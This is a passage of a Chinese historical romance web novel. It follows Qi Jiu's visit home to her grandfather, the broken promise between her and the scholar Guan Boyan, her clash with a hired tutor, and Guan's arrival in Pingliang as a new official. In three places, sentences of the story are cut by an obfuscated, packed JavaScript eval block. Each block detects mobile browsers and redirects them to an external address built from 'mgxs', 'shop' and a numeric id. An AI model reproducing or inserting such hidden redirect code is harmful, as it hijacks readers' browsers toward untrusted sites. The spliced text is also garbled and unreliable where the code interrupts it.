“不可……”祈楚摇了摇头，“军中误以为我战死，对我来说，是个能暗中查明二叔所作所为的大好机会。我的死讯，二叔早晚会知情，若不查清二叔的手段，此时回去，往后便陷入了被动，再要彻查，可就难上加难了。” 薛宛有些黯然，起了醋意： “查你二叔，比娶我还重要吗？还是你见了你那位小娘子，便见异思迁，把我忘得一干二净了？” “她？”祈楚仿佛听了个天大的笑话，不可思议地大笑起来，“呵！她那人……粗俗鄙陋，举止狂放，简直……简直像个活阎王！宛儿你知书达理，与她更是云泥之别，我怎可能是为了她呢！” 薛宛却哼了一声：“这么说，楚郎已见过娘子了？” 祈楚捏了把汗：“我不过……不过是心系父亲身体，回家时碰巧见到罢了。” “当真？” “千、千真万确！” 薛宛抬起下巴，盯住祈楚半晌，盯得祈楚头皮发麻时，才忽而捂嘴倩笑起来。 都说“女人心，海底针”，祈楚实在弄不明白，便只好呵呵跟着傻笑。 “那待你查完了，便把这女子休了可好？对了……她若见你如此丰神俊朗，便不肯离开祈家，偏要霸占你该如何？那我可怎么办……难道要让我堂堂司户嫡女，去与你做妾吗……” 薛宛方才还笑着，此时又哭了，哭得祈楚是手足无措。 “与你做妾，若能得与楚郎双宿双飞、朝朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527186|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暮暮，也是使得的。可……我实在难以忍受，要与别的女子共侍夫君，要别的女子，为你生儿育女……光是想着，便剜心剖肺般疼！楚郎……我知道女子不可善妒，可我如此作想，正是因为心悦于你啊……你明白我的心意吗？” 薛宛一脸梨花带雨地看向祈楚。 祈楚慌忙答着：“我、我明白……” 薛宛拿手帕拭了泪，缓缓起身，来到祈楚身旁，玉手轻轻牵起祈楚的双手。 薛宛的手，女子的手，温润如玉，柔软无骨，与那些军中糙汉自是截然不同。祈楚还从未碰过女子的手，眼前的薛宛，双手似膏，双眼含情，令他头脑发昏，心猿意马。 “宛儿，你……” 祈楚话音未落，薛宛竟扑进他怀里，将脸紧紧靠着祈楚的胸膛。 “楚郎，我爱你，我信你，你说什么我都深信不疑。需要做什么，你便放手去做吧，只要你别忘了你说过的话，我会等你上门提亲……” 薛宛一说话，脸颊便摩挲着祈楚的胸膛。祈楚的心怦怦乱跳，他生怕心脏跳出胸膛，直接蹦进薛宛的嘴里。 “宛儿，其实……” “不，别说。” 薛宛抬起青葱玉手，点在祈楚的嘴唇上： “什么也别说了，我已对父母许下誓言，此生非你不嫁……楚郎，只要我中有你，你中有我，我便也忍得，也等得。只要……只要能与楚郎在一起，一生一世一双人，白首到老，永不离心就好……楚郎，你能答应我吗？” 祈楚从未与女子如此接近，感受到薛宛玲珑柔软的身体，他早已找不着北了。 “我答应……我答应你，宛儿。” 祈楚想搂住这副柔软的躯体，却又不敢，双手尴尬地垂在半空。 薛宛却环住祈楚的腰，说道： “楚郎，我此生若能做你的娘子，便也生而无憾了。” 就在祈楚与薛宛闺房会面后不久，便到了柒奺回门的日子。 沈氏为了稳住柒奺，不让其他几房察觉出异样，还是正儿八经地操持了一番，备了骡车，又叫小厮挑了两担子回门礼，送柒奺出门。 骡车一路走出平凉城，来到平凉城外二十里地的村子——鸭子村。 村子约有二三十户人家，都是种药的农户，柒奺家的屋子就在边缘，离县城只有二里地。 一路上，这装饰考究的骡车、担着扎红绸箱子的小厮，便引来了男女老少艳羡的目光。村里人都知道柒家奺娘嫁了平凉的大商户，还做的是正牌娘子，简直是中堂插高香、祖坟冒青烟，便都凑过来瞧瞧热闹。 只有柒老太公知道孙女的苦处，赤着脚走出门外，将看热闹的人通通赶了回去： “你们这些黑眼珠子见不得白银子的，赶紧各回各家各找各妈，我这儿没有好戏给你们瞧！……” 听着这熟悉的骂声，柒奺忍不住噗嗤一笑。 一间破瓦房，两间破草房，歪歪斜斜，四面透风，杂草遍地。连挑担的小厮都皱起了眉头，却是柒奺最最窝心的地方。 还未到门外，柒奺便跳下骡车，提着裙摆朝爷爷奔去。 8. 少年英才 “爷爷，我回来看您了！” “我的小奺儿……你可算回来了！快、快让爷爷好好瞧瞧，瘦了没？在祈家住得可好？” 柒老太公哆哆嗦嗦地说着，拉起柒奺的手便不肯放下。见孙女一身绫罗，满头金钗，柒老太公心中喜悦，又为孙女感到痛惜——这身绫罗绸缎，可是要拿孙女一生的幸福去换的啊！ 那日，祈家大娘子一身珠光宝气，前来求娶他的奺儿，柒老太公便看出对方不怀好意。 果然，那祈家大娘子自始至终不拿正眼瞧人，只说自己儿子重病缠身，着急想娶一位娘子替祈家留后。柒老太公勃然大怒，就差抄起扁担，将对方乱打出去。 自己的唯一的宝贝孙女，父母早逝，身世本就可怜，难道还要去嫁一个不知哪天两脚一蹬的病死鬼，将自己一生的幸福断送在那大宅子里头吗？ 可恨自己年迈，亦不中用，说不了两句话，便咳喘头晕，差点背过气去。 最终，还是柒奺追上沈氏的骡车，亲口同意了这门亲事。 都怪我，都怪我啊……柒老太公每每想起，都是捶胸顿足，追悔莫及。 可当初找来柒家的媒婆，却苦口婆心地劝他：“柒老太公，您瞧瞧您的身子，瞧瞧这家中，可是乞儿见了都要掉泪。我也是可怜你们都是苦命人，尤其是柒奺那丫头，就算是冲喜，但能嫁入祁家这样的富贵人家，总比走投无路为奴为妓要好吧？听我一句劝，你就收好这聘礼钱，养好身子，不要辜负了孙女儿一片孝心。” “……孙女一切都好！瞧，我可有少块肉没？” 柒奺知道爷爷担忧，便故作轻松，转了几个圈给爷爷看。 “那个祈家公子……” “郎君无事，不日便会痊愈了。”柒奺笑着扶起爷爷的胳膊，“到时候啊，我带他一同来看您，您要看他不顺眼，就狠狠骂他，骂到您高兴为止，可好？” “他要待你不好，骂还不解气，我定蹶他一腚子。” 爷孙俩一面欢欢喜喜地说着话，一面跨进那间破瓦房内。房内的陈设依旧没变，房顶漏光，脚下泥地坑洼不平。先前柒奺和爷爷住在这里，倒也不觉得破烂，如今只剩爷爷一人，漏风漏雨，生活不便，柒奺不免心酸起来。 她握着爷爷的手说：“爷爷，您再忍耐一阵子，孙女一定会让您住上气派的大宅子，今后再也不用淋雨受冻了……这样，您的身子也定能好起来，活到一百二十岁！” 柒老太公听了，指着自己的鼻子说道：“活到一百二十岁，骂你爷爷我是老王八呢？” 柒奺噗嗤一声，捂嘴大笑起来。 刚坐下没多久，便听得一声清脆的喊声： “奺儿！” “滢儿？你怎么来了！” 柒奺快步迎上去，两个女孩执手相看，又高兴得紧紧相拥在一起。 滢儿姓关，便是离柒奺家不远处，关家药铺的女儿。关家药铺虽比不上县里、乃至平凉城内的大药铺，却也比柒奺家宽绰些。关家夫妇俩共养育一子一女，大儿子关薄言，二十有一，女儿关滢，刚过及笄。 柒奺打小便对经商感兴趣，因着关滢的关系，便常常到关家铺子里看掌柜记账打算盘。看久了，柒奺竟耳濡目染学会了算账的本事，又对进出盈亏有了自己的见解。 那句“成为平凉第一商”的话，便是发自柒奺的肺腑。 只是她也不明白，为何面对这只见过一面的所谓公爹，就将藏在心里深处的野心，直言不讳地说了出来。虽然事实正如祈铄所言，这个愿望对柒奺来说，无异于摘天上的星星。 见两个姑娘要说话，柒老太公拍拍手说： “你们两个姑娘且说话，我去厨房给你们炒点黄豆花生米，烤些红薯来解解馋。” 柒老太公走后，关滢和柒奺又说了好些贴心话。可说着说着，关滢的表情却犹疑起来，手藏在桌子下揉搓，似有话，又不知该从何说起。 柒奺看出她的小动作，硬要抠她的手，关滢争不过，只好从实招来： “其实……哥哥前些天来信了，说他被吏部韩尚书收为门生，颇受器重，现已通过制试，不日便会有官职俸禄……哥哥在信中称，定下官职后，他便立马回来上门提亲，求我转告于你……唉，奺儿你前一天刚出阁，后一天信便送来了，你说信怎么就不早到一日，偏要你和我哥哥就这么错过了……” 关滢捏着那封家书，说着说着，忍不住抹起泪来。 说起关薄言，那是整个鸭子村、乃至整个平凉城都颇为闻名的少年英才。 关家夫妇远见，不让儿子关薄言继承这小小药铺，哪怕自己缺衣短食，仍供儿子读书求学，期望儿子能有个好前途。关薄言自知家中供他求学不易，又酷爱读书，自是极寒酷暑，手不释卷。他十五岁考取乡贡，诗词文章信手拈来，士人无不交口称赞。 及弱冠，温润儒雅，丰神俊朗，说媒的人踏破了关家药铺的门槛儿，其中不乏士家嫡女。 可关薄言却一一拒绝，直言自己早已心有所属，非柒家奺娘不娶，求父亲替自己上门求亲。 关氏夫妇一听，顿时气炸了肺管子，大骂儿子猪油蒙了心： “我看你……你是读书读进牛皮眼儿里了！士家嫡女你不娶，偏要娶那柒家的野丫头？你想过没有，你如今前途无量，人人都夸你是宰辅之才，娶个上不了台面的娘子，将来也不怕人笑掉了大牙！” 没想到，一向温顺的儿子，却毫不退让：“若不答应我娶奺儿，儿子情愿终身不娶！” “混账！” 关父急火攻心，一巴掌掴在关薄言脸上，脆响惊天，吓得关滢躲在房内不敢出门。 挨了这惊天动地的一巴掌，关薄言的脸颊立马显出五个红指印。别看他生得白皙瘦弱，性子却犟如倔驴，他立马站稳身体，又“咚”的一声直直跪下： “求父亲母亲成全孩儿！” “真是、真是失心疯了……”关父长哭一声，瘫坐在床上。 关母怀胎十月生了这儿子，自是比任何人都要了解他，知他性直倔强，认准了一件事，便是撞破南墙也绝不回头。可也就是因着这性子，他才能忍受酷暑寒冬，冻疮虫咬，艰苦求学，无一日松懈，方有今日的成就。 关母知道此时不可硬碰硬，只得将儿子扶起来，妥协道： “言儿，你从小只顾读书，也没见过几个女子，怎能现在便说终身不娶的浑话？将来你加官进爵，长了见识，说不定有更好的姑娘可作良配。不如这样……你若好好念书，得了功名，有了官职，仍愿娶柒家女儿为妻，母亲便亲自替你求去。” 关薄言大喜过望：“母亲，此话当真？” “当真，母亲决不食言。” “好！孩儿……孩儿这就去念书！” 这天，关薄言读书彻夜达旦，第二天鸡鸣，便迫不及待去寻柒奺。 那时柒奺正在后院里喂鸡，嘴里“咯咯咯”学着鸡叫，母鸡公鸡小母鸡小公鸡都通通聚拢在她身边，也“咯咯咯”地扑棱讨食儿。黄绒绒的朝阳斜洒过来，给柒奺和鸡群都镶了一道金色的柔边。 那时的柒奺在关薄言眼里，就真真是鹤立鸡群，鸡群里的白翅仙鹤，鸡群里的神鸟凤凰。 他踌躇许久，红脸唤了一声“奺儿”。 “薄言哥哥！”柒奺甚是惊喜，扔下簸箕便飞奔上去。 望着柒奺娇俏的笑脸，关薄言的胸腔怦怦作响。想到不久的将来，便能娶了心爱的女子，能与她耳鬓厮磨，同床共枕，胸中便腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527187|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起一股躁动之气。 可他好歹熟知诗书礼义，只要还未下聘，便仍是男女授受不亲。 他向后略退了半步，对柒奺说：“奺儿，往后……就别称呼我薄言哥哥，叫我言郎吧。” “薄言哥哥叫得好好的，怎的突然要我改称呼？” “其实……”关薄言鼓起勇气，说道，“奺儿，我已经告知父母，要娶你做我的娘子。只是……只是我不日便要上京求学……奺儿你放心，母亲已经答应我，待我谋得一官半职，便立马回来娶你！今后你嫁给了我，我定终生待你好，绝不叫你再受苦了！” “这……”柒奺突然红了双脸，羞涩地低下头去，“薄言哥哥，这是真的吗？” “叫我言郎。” “……言郎。” 柒奺嗫嚅地叫出口，脸却更红了。 关薄言心中一阵狂喜，差点便要拉起柒奺的手，又连忙收回来，两手不安地垂在身侧。 “奺儿，你这便是……便是同意了？” “嗯……”柒奺点点头说，“言郎不嫌弃奺儿，与奺儿说这番掏心窝子的话，奺儿又何故忸怩呢？你放心上京去吧，奺儿会在这里等你回来，到时候……奺儿定以身相许。” 听柒奺如是说，关薄言再也控制不住，快步上去紧紧拥住她。怀中的人儿，是他心心念念，从小便倾心的女子，他日思夜想，都盼望能有这一日，能拥她入怀。 若是能立马娶了她该多好，便可将那夜夜思念，化为夜夜缠绵…… 他感觉自己飘飘忽忽，快要失去神志，方才依依不舍地放开了柒奺。 不久后，关薄言踌躇满志，进京求学。关滢与柒奺素来亲密，在试探了柒奺的态度，得知她已经亲口答应自己的哥哥后，便也欢呼雀跃，更是将柒奺当做自家人看待了。 可也就在这一年冬天，关薄言离家上京刚过半载，柒老太公却突然病重。 家中本就靠柒老太公和亲戚的支撑勉强过活，如今柒老太公身染重疾，需要大量的银钱医治，家中从捉襟见肘，逐渐变得家徒四壁。柒奺豆蔻年华青春少女，出入却只有一件破烂衣裙，人也是愈发憔悴瘦弱。 她自己怎样都无所谓，可爷爷的病越来越重了。她害怕失去爷爷，只因爷爷是她最亲的亲人，是她生命唯一的依靠与支柱。看着爷爷如风中残烛，每日却只能靠野菜汤过活，更无汤药以医治，她却只能强颜欢笑，尽心照顾，将泪水通通倒流回心里。 眼见着柒家越来越难以过活，关滢心疼柒奺，哭求父母借钱给柒老太公治病。 可关氏夫妇却狠下了心，一毛不拔。 虽然，他们也是看着柒奺长大的，可什么也比不上儿子的大好前程。 正是“人走时运马走膘，兔子落运遭老雕”。 那日，柒奺走投无路之下，终于鼓起勇气，深夜去关家药铺求借银两。 刚要敲门，却听见内里传来说话声： “……你哥哥要娶柒家那丫头，我们是绝不会同意的，让他先得个一官半职，不过是缓兵之计罢了。你哥哥将来要娶的，是大官家的女儿，是对他有助益的娘子，柒家那丫头何德何能，能配得上我家言儿？” 关滢却哭着说：“可奺儿的爷爷病重，我家就不能帮衬一点儿吗？若她爷爷死了，奺儿又该怎么办……” “滢儿，别怪我们狠心。若柒老太公死了，柒奺要过活，必定要尽快寻个人家嫁了，我儿也就能断了这个念想。就算她找不到人家，只能做奴做婢，哪怕去做娼妓，只要我儿不娶她，她就算死了，那也是她的命！……” 柒奺忽然浑身一凉。 她转身幽魂般地走回那几间破屋。 抬起头，那夜的月色好冷，直冷进了她的心底。 9. 女先生 “奺儿……奺儿？” 关滢晃了晃她的肩膀。 柒奺回过神来，摆摆手笑道：“什么错过不错过，我才不想嫁给你哥哥呢！我那都是诓他哄他的，不过想让他专心读书，别误了大好前程罢了。” 关滢却望着她，对她说的话不置可否。 “行了。”柒奺说，“你只管回信告诉他，我已经寻得了如意郎君，夫妇恩爱，衣食无忧……当初对他说的那番话，都是戏言罢了，叫他好好做一位为民着想的父母官，娶一位德才兼备贤良淑德的娘子，我真心祝愿他前途似锦，夫唱妇随，此生幸福顺遂。” 关滢问她：“奺儿，你说的可都当真？” “当真当真，今日我回门，婆母差人送了这么多回门礼，你还不信？” “那……祈家公子怎的没来？” 柒奺说：“郎君近日身体不适，叫我替他多多赔罪，还特意买了各式果子糕点，说……说我答应过你的，叫你千万别跟他客气。” 柒奺说完，忙叫瓶儿将两盒子点心拿来摆上。 关滢顿时两眼放光：“哇……可真是我见都没见过的呢！” “快，赶紧尝尝。” 关滢迫不及待，将各色点心都拿起来尝了一遍，一面吃一面夸这是神仙点心，定是只有天上的神仙才能吃得上。关滢吃得开心，柒奺却微笑着坐在一旁，端起水杯啜了口苦茶。 关滢问她：“奺儿，你怎不吃呢？” 柒奺大手一挥：“这种点心，我在平凉城早就吃腻了，倒是想念爷爷做的炒豆子烤红薯。你尽管吃，吃不下的都拿回去，叫叔叔婶婶也尝尝。” “嗯！”关滢欢喜地点点头。 刚过晌午，柒奺在家中用过饭，小厮便在催促了。 回去的路上，瓶儿想起那两盒子糕点，却觉得不舍。 “娘子，为了买这两盒点心，可是将我们仨月的伙食钱都花光了，娘子却一口也没吃……娘子本就消瘦，如今就只能吃些烂菜叶破番薯，你的身子可怎么受得了呢。” 柒奺不好意思地说：“我本来想留些下来，可又怕太寒酸，被爷爷和滢儿瞧出了端倪。” 瓶儿点点头。 “委屈你了，瓶儿。”柒奺拍了拍身旁的包裹，笑道，“不用担心，我拿了好些炒豆子炒花生，咱俩饿了就吃一些，也能勉强撑过去了。” “瓶儿倒不委屈，就是……就是觉得有些饿了。” 瓶儿不好意思地揉了揉肚子。 柒奺在那包裹中抓了一大把，塞进瓶儿手里： “正好，回去路远，着实有些无聊，咱俩嚼嚼豆子聊聊天，权当消磨时间了。” 主仆俩一路切切切、嚓嚓嚓，坐着四面帷幔的骡车，不知不觉便又回到了平凉城内。骡车将她们送到了祈家大宅外，沈氏还要听了柒奺的回报，让她卸了这身绫罗绸缎，才许她回别院去。 在这祈家大宅，柒奺这挂名的小娘子，便是小厮也呼得，丫鬟也喝得，实在无半分地位可言。瓶儿为此打抱不平，可柒奺偏不放在心里，也压根儿不拿自己作小娘子对待，总是笑脸相迎，叫那些狗仗人势的，刀子都插进棉花里。 挂黑账的骡车已在偏门候着了，柒奺和瓶儿换上粗麻衣，绕过后厨出门，上了骡车。 还未坐定，便听见秦妈妈的声音： “小娘子莫着急走，大娘子有话传于你。” 柒奺听了，只得又走下骡车，乖顺地站在秦妈妈面前听训话。 秦妈妈说：“大娘子说了，从明日起，请小娘子每日傍晚过来听讲学，不可延误。” 原来，沈氏替柒奺寻了个女先生，命柒奺每日傍晚回祈宅，跟着女先生学书认字。 女先生姓杨，是平凉大儒杨国璋之次女。文唐重学，连女子也可有入学的机会，只不过少有学堂，通常由父母将女先生请至家中，教导女儿诗书礼仪，以便将来相夫教子。像柒奺这样刚入门的新妇，请女先生上门教导，也是寻常事。 第二天傍晚，柒奺如约来到祈家，换下粗麻衣，被沈氏领着去见女先生。 杨先生约莫三十岁，一身黛色，云髻素钗，静坐在书案后。见沈氏领了柒奺来，抬眼略一扫，面上似有些不耐烦之色：“这便是柒小娘子？我看这‘第一儒商’，不过谬名罢了。” 沈氏忙恭敬地说道：“让先生见笑了……小娘子若学得先生皮毛，便是她的造化，还望先生不弃才好。” “嗯……”杨先生仍坐着，抬一抬手说，“沈大娘子先出去吧，不要叫人进来打扰。” 沈氏忙推了推柒奺，欠身走出门去，轻轻掩上房门。 沈氏走后，杨先生只顾看手中的书卷，并不理会柒奺。柒奺立在一旁，直到站得实在百无聊奈，才听得杨先生漫不经心地问她： “小娘子可曾读过书，会写几个字。” “书没读过，字……还是别污了先生的眼睛吧。” “哦，那就是会写了？” “先生便当我不会吧。” “会便是会，不会便是不会，何来当你不会之说。”杨先生指了指面前的书案，“去吧，把你的名字先写来看看。对了，还不知你叫什么？” “小女本名柒奺，婆母改作柒（大弗fú）鸳，说这名字才衬得上家中儒商的美名。” 杨先生冷笑一声：“哼……商贾之家，倒是会附庸风雅。罢了，去将你名字写来看看吧。” 柒奺在心中翻了个白眼：“这两个字太复杂，小女实不会写。” 杨先生不情愿地铺纸研墨，将“柒（大弗fú）鸳”三字一笔一划地写下来：“都看好了？” 柒奺却说：“看了，可还是不会。” 杨先生心说“孺子不可教也”，却也没有心思耐心教导，只将那宣纸扔给柒奺：“拿去吧，就照着这个写，写好了再叫我。” 柒奺也不再争辩，恭恭敬敬地从杨先生手中接过宣纸，便走到书案后，一屁股坐了下来，也学着杨先生铺纸研墨。杨先生瞥了她一眼，便侧过身去，专心喝茶看书了。 没想到，书还没读到一行，茶还没送入口中，柒奺那边便搁了笔： “写完了，还请先生过目。” 见柒奺胸有成竹的模样，杨先生心中狐疑，端起茶盏慢慢走过去。她拿眼朝那宣纸上一瞟，顿时惊得丢了端庄，将那一盏热茶，全泼在了草席上。 只见白纸上赫然写着三个大字—— “柒大鸟”。 半夜，沈氏从女先生家回来，一下车便冲进祈铄的书房，坐下连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527188|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饮了三盏茶。 沈氏顺着胸口道： “我今天这张老脸是扯得比牛皮还要大，嘴皮子也要磨出火星子了！……你说说看，这杨先生今儿个头一回来，坐还不到一刻钟，便气冲冲地走了！我是又赔笑脸又送礼，这都快三更了，才把先生安抚下来！……” “哦？到底怎么了？”祈铄披着氅子，双眼仍盯着手中那笔字。 沈氏把怨气撒在郎君身上：“铄郎，我就说你吧，干啥偏要叫我找先生来教那丫头？那丫头简直蠢笨如猪！先生叫她写自己的名字，她写了个什么？——‘柒大鸟’！气得先生是指天指地，直骂她有辱斯文！” “什么？……柒大鸟？”祈铄听了，愣了半晌，突然捋着胡须大笑起来。 “谁知道她是个什么鸟！”沈氏啐道，“铄郎，你还笑！我给她改名‘（大弗fú）鸳’，是为着咱家‘儒商’的名声，免得别人听了笑话，怎知她是摊烂泥扶不上墙！” “我看，她是不愿领你的情喽……儒商儒商，不过谬名，何必执著。” 沈氏却不以为然。 祈铄不紧不慢地，将那最后一字写完，满意地搁下笔，笑道： “罢了，还是叫回柒奺吧。我近几日也打听过了，小娘子父母早亡，是个苦命孩子。正所谓名为父母期，这‘奺’字，便是他们期望女儿长长久久，是对女儿的祝福啊。” “那是他们不懂！” “诶，好了。”祈铄摆摆手说，“这事儿你就不要与我争辩了，就听我做主吧，以后便叫回奺娘。” 主君既这么说了，沈氏也不好再多嘴，只说道： “这事就算了！不过，杨先生我是好说歹说求回来了，若这丫头再把先生气走，铄郎你就自己去求吧，我可没这老脸卖！” 说完，沈氏起身，愤然走出门去。 祈铄见沈氏离去，才咳了出来，颤颤巍巍端过茶盏，努力将气顺了下去。 沈氏回房后，疲惫地坐在镜前，让秦妈妈服侍她撤下耳坠头饰。她又忍不住在镜中端详自己，仅仅一天时间，眼角又平添了两条皱纹。 “我真是后悔了。”沈氏对秦妈妈倒起苦水，“本来以为娶了个儿媳妇，能让我省省心，没想到这是娶了颗臭螺蛳、肉中刺，天天不叫我好过！那会儿卜筮合八字，先生还说她与我儿是天作之合，什么福家旺室……我呸！指不定是那说媒的贼婆子和先生合着伙，想多诓点喜钱呢！” 秦妈妈忙抚沈氏的背：“大娘子莫生气，你现在是分身无暇，等风头过去了，再好好管教管教便是。” 沈氏却咽不下这口气，从鼻子里哼了一声。 “对了，大娘子。”秦妈妈说，“主君提了多次要去看小郎君，都被我们拦了下来，我怕是……怕是快要瞒不下去了。” “瞒，必须得瞒住了！”沈氏咬牙说，“实在不行，就说楚儿已经病愈回营——对了，让你找的人怎么样了？” 秦妈妈赶紧说：“办好了。同时找了三家，都是极偏僻地界的佃户，去的人也没亮身份，孩子抱来一定不会有人察觉。” “那就好……到时候孩子抱来，不能让柒奺那丫头带，到时候可别教出个混世大魔王出来！哎哟……这丫头可真是，我一想到她，脑袋就钻着疼……” 10. 是神明啊 杨先生虽然勉强答应了沈氏，却称身体不适，等好全了再来讲学。 柒奺倒是落得松快，听秦妈妈传话时提起，主君让柒奺改回本名，不必再叫“柒（大弗fú）鸳”，她心中慰藉，对公爹由衷感激。 柒奺是困不住的。 摸清状况后，她便偷了套小厮的装束，时常顺着大槐树爬出院去溜达。 她买了只烧鸡和好些果品，撕了条鸡腿，和两只馒头、几个果子，摆在祈楚坟前： “看在公爹的份上，姑且给你开开荤。你这死鬼若真泉下有知，便保佑你父亲早日康复吧，唉……你倒是早早撇了个干净，这祈家……还得靠公爹撑着啊。” 瓶儿馋得慌，心里觉得可惜，活着的人都没吃饱，还给死人吃。 柒奺看出了她的心思，拍拍她的手背说：“放心，就摆给他看看，给他闻闻味儿罢了。明儿我们再吃掉，就当着他的面吃，让他做个馋死鬼。” 瓶儿却哆嗦：“娘子，这几日夜里，我总看到一只鬼影飘来飘去，难道……真是郎君的魂儿找来了？” 柒奺说：“无妨，若真是祈家公子，他便是来找我的，我却不怕他。瓶儿，你若真害怕，咱们就把隔壁屋收拾出来，你我分开住几日——我倒要看看，他究竟是人是鬼。” 柒奺和瓶儿一道，将旁边厢房收拾出来给瓶儿住。 入夜，瓶儿仍旧犹犹豫豫，柒奺倒麻利地给她收拾好铺笼罩被，直叫她快睡。瓶儿连续担惊受怕，梦中也紧紧攥着被子，柒奺便坐在床边陪她，直到将她安抚下来才轻轻走出门去。 今晚的月色好凉啊。 柒奺抬起头，望着槐树疏影中掩映的月色，脑海中，又不禁浮现出那个夜晚。 就在那夜之前，她还是个天真懵懂的少女，脑子里只有栏里的鸡、园里的菜，乡野小溪边赤脚奔跑；屋后两座土坟，爷爷与关滢，还有那个……谦谦儒雅、与周遭一切都格格不入的关薄言。 柒奺一如那夜般，对月呼出一口凉气。目光忍不住向下挪动，扫过槐树粗壮的躯干。 而如今…… 突然，她愣住了，汉白玉的碑前，立着一个人影。 那人身形如一截苍松，须发皆白，随风飘舞。像从天而降的神明，落入此处，与柒奺一同抬头望月。 是神明啊。 柒奺看得呆了，不禁感叹此处还真是个风水宝地，竟将天上的神仙也招了下来。 就在这时，神仙突然动了—— “哇……好大个鸡腿！” 柒奺瞬间呆得像块木头，却见他蹲下身去，从供盘里拿起烧鸡腿，三两下便啃得只剩根骨架子。他扔掉骨头，舔舔漆黑的爪子，又去拿供盘里的水果。 柒奺回过神来，羞愤难当，抄起一旁的扫帚便打过去： “哪里来的臭乞丐，敢抢姑奶奶的鸡腿儿！……” 一辆装饰精美的马车，驶入了平凉的城门。 以平凉城主簿曹主簿为首，并令佐、尉丞与七位司户，在城门内迎接新上任的凉州司户曹参。朝廷前几日已将文书快马加鞭送至平凉城主簿手中，听说凉州司户曹参即将入城，又是韩尚书的得意门生，早已在此翘首以盼。 没错，这位新晋的凉州曹参，便是关薄言。 文唐分九州，一州之长谓之“刺史”，并州级长史、司马、曹参、市令、博士等。州下有城，为政治经济集聚之地，根据辖区大小、人口分布等，一州约有十至十五座城。一城之长为“主簿”，并令佐、尉丞、司佐、市令、博士等。其余所属地均为县级，只设县令、县尉与捕役若干。 薛宛的父亲薛司户也在其中，见马车上下来一位青年俊朗、风度翩翩的郎君，心中激动万分，当即便决定明日带夫人女儿登门造访。若是这位关曹参看得上自家女儿，薛家攀上关薄言这根高枝，便可算是平步青云了。 他不知道，这群官员中但凡有女儿的，都同他想到了一处去。 “关曹参，我与众位在此恭候多时了！” 曹主簿喜笑颜开，拱手快步迎了上去。 关薄言也回了一礼：“曹主簿，我在信中交代过不必张扬，此番……让曹主簿费心了。” “诶，哪的话！”曹主簿忙说道，“关曹参少年英才，老朽也早有耳闻，如今你走马上任，出任凉州司户曹参，这可是为咱们平凉城增光啊！” “主簿谬赞，缄之愧不敢当。” 关薄言加冠时，先生以“薄言”之意，为之取字“缄之”。 “当得起，当得起！”曹主簿说，“我已在城中酒楼设宴，替关曹参接风洗尘，还请关曹参一定要赏光。对了，曹参府我已找人替您修葺布置妥当，今日宴后，老朽便亲自领曹参去看看，若有不妥之处，还请曹参恕罪、恕罪啊！” 关薄言揖手道：“劳曹主簿费心。” 平凉城最气派的酒楼，凤仪楼，曹主簿便在最顶处的雅间设宴款待关薄言。 凤仪楼乃平凉城最大的酒楼，位于平凉城中心最繁华的西街。东家名唤袁霸天，平凉人称“霸爷”，无人不知无人不晓。传说其杀伐果断，御下有术，所经营的酒肆青楼声名远播，除了接待达官贵人的凤仪楼，还有接待士家子弟的清崖居，以及接待平民百姓的胭脂、月影二阁。 暖阁内雕梁画栋，琴瑟琵琶，舞姬隔帘献舞，一片暖意香融。各位平凉官员，都纷纷向关薄言敬酒，席间问的最多的，便是关薄言是否有心仪的女子，纷纷都将自己的女儿夸成了天上的仙女。 可此事，却是关薄言心中最大的郁结。 家书发出后，关薄言在平京城翘首以盼，盼能得到父母已上柒家提亲的消息。他自始至终都坚信，柒奺一定会等他，甚至将身上为数不多的银两统统掷下，为柒奺买了一只玉镯。 这只玉镯，到现在都还藏在他衣内心口处，连着那封迟来的回信。 收到回信时，关薄言只感觉气血涌上脑门，连连后退，重重跌坐下去。 信中称，柒奺已然出阁，嫁与他人，称之前的话都是戏言，只想让他好好念书，一展抱负。信中还说，柒奺祝他官运亨通，夫唱妇随，幸福顺遂。 不可能……奺儿绝不可能骗我，这其中，定有隐情！ 关薄言端着酒杯，却控制不住出了神。 “关曹参？……曹参大人？” 薛司户端着酒杯，手还举在半空，表情有些窘迫。 喊了几声，见关薄言总算回过神来，才忙说道：“刚刚我提议，过几日带内子小女登门拜访，不知曹参大人意下如何？小女薛宛，年方十七，从小饱读诗书……” “薛司户。”关薄言提声打断他，“我近日刚上任，公务繁多，还是过段时日再说吧。” “是、是……”薛司户不甘心地坐下来。 关薄言饮尽杯中酒，起身作揖：“众位大人请继续宴饮，我今日派人接了父母来平凉，须回家拜见双亲。等缄之处理好诸事，再请诸公共饮，怠慢之处，还请诸位大人多多见谅。” “哪里，哪里……” 